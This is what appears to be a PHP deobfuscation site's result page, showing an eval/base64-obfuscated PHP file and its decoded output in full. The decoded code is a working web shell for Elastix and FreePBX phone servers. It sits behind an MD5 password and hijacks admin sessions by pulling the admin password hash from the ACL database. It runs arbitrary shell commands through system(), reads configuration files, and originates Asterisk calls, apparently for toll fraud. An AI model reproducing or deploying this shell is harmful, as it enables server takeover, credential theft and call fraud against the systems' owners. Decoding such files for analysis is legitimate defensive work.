Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*GZjmEw39TeoxsJIjTqkZChBf*/eval/*hq0kdYaTYtgCZj*/(base64_decode/*LSyap0U8*/('c2Vzc2..

Decoded Output download

session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '0172e33996d9ca211a6fedf70c6c8810') {
    $_SESSION['looki'] = 'logged';
}
if (!isset($_SESSION['looki'])) {
    echo '<form action="" method="post">';
    echo '<input type="text" name="md5" size="32" />';
    echo '<input type="submit" name="ZenharR" value="ZenharR" /> ';
    echo '</form>';
    echo '<? --  ((/*182.254.196.144*/)) -- ?>';
    exit();
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
    session_destroy();
    session_name("elastixSession");
    session_start();
    $_SESSION['looki'] = 'logged';
    include_once "/var/www/html/libs/paloSantoDB.class.php";
    include_once "/var/www/html/libs/paloSantoACL.class.php";
    $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
    $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
    $_SESSION['elastix_user'] = $db[0][0];
    $_SESSION['elastix_pass'] = $db[0][1];
    header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
    if (!@include_once (getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
        include_once ('/etc/asterisk/freepbx.conf');
    }
    require_once ('/var/www/html/admin/libraries/ampuser.class.php');
    $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
    $_SESSION['AMP_user']->setAdmin();
    header("Location: /admin/config.php");
}

echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5aZW5oYXJQYW5lbDwvaDE+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgPGI+Q0FMTDwvYj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbnRleHQiIHZhbHVlPSJhc3Rlcmlzay1vdXRjYWxscyIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lIiB2YWx1ZT0iNjAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icHJzIiB2YWx1ZT0iMDAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibnVtIiBwbGFjZWhvbGRlcj0ibnVtYmVyIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FsbCIgdmFsdWU9ImNhbGwiIC8+CjwvZm9ybT48YnIgLz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgogICAgPGI+Q01EPC9iPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0nODAnIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleGVjdXRlIiB2YWx1ZT0iRXhlY3V0ZSIgLz4gPGhyIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJscyAtbGEiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJwcyAtYXV4IC0tZm9yZXN0IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdjb3JlIHNob3cgY2hhbm5lbHMnIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdzaXAgc2hvdyBwZWVycyciIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9lbGFzdGl4LmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svZXh0ZW5zaW9uc19jdXN0b20uY29uZiIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FtcG9ydGFsLmNvbmYiIC8+CjwvZm9ybT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iZ2V0IiA+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkVsYXN0aXgiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkZyZWVwYngiIC8+CjwvZm9ybT4KPHByZT4=');
if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
echo '</pre>';

Did this file decode correctly?

Original Code

<?php /*GZjmEw39TeoxsJIjTqkZChBf*/eval/*hq0kdYaTYtgCZj*/(base64_decode/*LSyap0U8*/('c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICcwMTcyZTMzOTk2ZDljYTIxMWE2ZmVkZjcwYzZjODgxMCcpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIiAvPic7CiAgICBlY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJaZW5oYXJSIiB2YWx1ZT0iWmVuaGFyUiIgLz4gJzsKICAgIGVjaG8gJzwvZm9ybT4nOwogICAgZWNobyAnPD8gLS0gICgoLyoxODIuMjU0LjE5Ni4xNDQqLykpIC0tID8+JzsKICAgIGV4aXQoKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydhZG1pbiddKSAmJiAkX1JFUVVFU1RbJ2FkbWluJ10gPT0gJ0VsYXN0aXgnKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIHNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsKICAgIHNlc3Npb25fc3RhcnQoKTsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsKICAgIGluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOwogICAgJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7CiAgICAkZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsKICAgICRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOwogICAgaGVhZGVyKCJMb2NhdGlvbjogL2luZGV4LnBocCIpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRnJlZXBieCcpIHsKICAgIGlmICghQGluY2x1ZGVfb25jZSAoZ2V0ZW52KCdGUkVFUEJYX0NPTkYnKSA/IGdldGVudignRlJFRVBCWF9DT05GJykgOiAnL2V0Yy9mcmVlcGJ4LmNvbmYnKSkgewogICAgICAgIGluY2x1ZGVfb25jZSAoJy9ldGMvYXN0ZXJpc2svZnJlZXBieC5jb25mJyk7CiAgICB9CiAgICByZXF1aXJlX29uY2UgKCcvdmFyL3d3dy9odG1sL2FkbWluL2xpYnJhcmllcy9hbXB1c2VyLmNsYXNzLnBocCcpOwogICAgJF9TRVNTSU9OWydBTVBfdXNlciddID0gbmV3IGFtcHVzZXIoJGFtcF9jb25mWydBTVBEQlVTRVInXSk7CiAgICAkX1NFU1NJT05bJ0FNUF91c2VyJ10tPnNldEFkbWluKCk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvYWRtaW4vY29uZmlnLnBocCIpOwp9CgplY2hvIGJhc2U2NF9kZWNvZGUoJ1BHZ3hJSE4wZVd4bFBTSjBaWGgwTFdGc2FXZHVPaUJqWlc1MFpYSTdJajVhWlc1b1lYSlFZVzVsYkR3dmFERStDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvZ0lDQWdQR0krUTBGTVREd3ZZajRnUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUc1aGJXVTlJbU52Ym5SbGVIUWlJSFpoYkhWbFBTSmhjM1JsY21semF5MXZkWFJqWVd4c2N5SWdMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKMGFXMWxJaUIyWVd4MVpUMGlOakFpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGljSEp6SWlCMllXeDFaVDBpTURBaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpYm5WdElpQndiR0ZqWldodmJHUmxjajBpYm5WdFltVnlJaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMkZzYkNJZ2RtRnNkV1U5SW1OaGJHd2lJQzgrQ2p3dlptOXliVDQ4WW5JZ0x6NEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnUGdvZ0lDQWdQR0krUTAxRVBDOWlQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW1OdFpDSWdjMmw2WlQwbk9EQW5JQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmxlR1ZqZFhSbElpQjJZV3gxWlQwaVJYaGxZM1YwWlNJZ0x6NGdQR2h5SUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKc2N5QXRiR0VpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKd2N5QXRZWFY0SUMwdFptOXlaWE4wSWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2RqYjNKbElITm9iM2NnWTJoaGJtNWxiSE1uSWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2R6YVhBZ2MyaHZkeUJ3WldWeWN5Y2lJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpiV1FpSUhaaGJIVmxQU0pqWVhRZ0wyVjBZeTlsYkdGemRHbDRMbU52Ym1ZaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSmpZWFFnTDJWMFl5OWhjM1JsY21semF5OXphWEJmWVdSa2FYUnBiMjVoYkM1amIyNW1JaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMjFrSWlCMllXeDFaVDBpWTJGMElDOWxkR012WVhOMFpYSnBjMnN2WlhoMFpXNXphVzl1YzE5amRYTjBiMjB1WTI5dVppSWdMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMkZ0Y0c5eWRHRnNMbU52Ym1ZaUlDOCtDand2Wm05eWJUNEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaVoyVjBJaUErQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmhaRzFwYmlJZ2RtRnNkV1U5SWtWc1lYTjBhWGdpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0poWkcxcGJpSWdkbUZzZFdVOUlrWnlaV1Z3WW5naUlDOCtDand2Wm05eWJUNEtQSEJ5WlQ0PScpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2NhbGwnXSkpIHsKICAgIHN5c3RlbSgnYXN0ZXJpc2sgLXJ4ICJjaGFubmVsIG9yaWdpbmF0ZSBMb2NhbC8nIC4gJF9SRVFVRVNUWydwcnMnXSAuICRfUkVRVUVTVFsnbnVtJ10gLiAnQCcgLiAkX1JFUVVFU1RbJ2NvbnRleHQnXSAuICcgYXBwbGljYXRpb24gd2FpdCAnIC4gJF9SRVFVRVNUWyd0aW1lJ10gLiAnIicpOwp9CmVjaG8gJzwvcHJlPic7'));/*kNzFNcXorePrz2qJW*/?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 3bd3cd30173dc1f75cc7fd5faac9563a
Eval Count 1
Decode Time 56 ms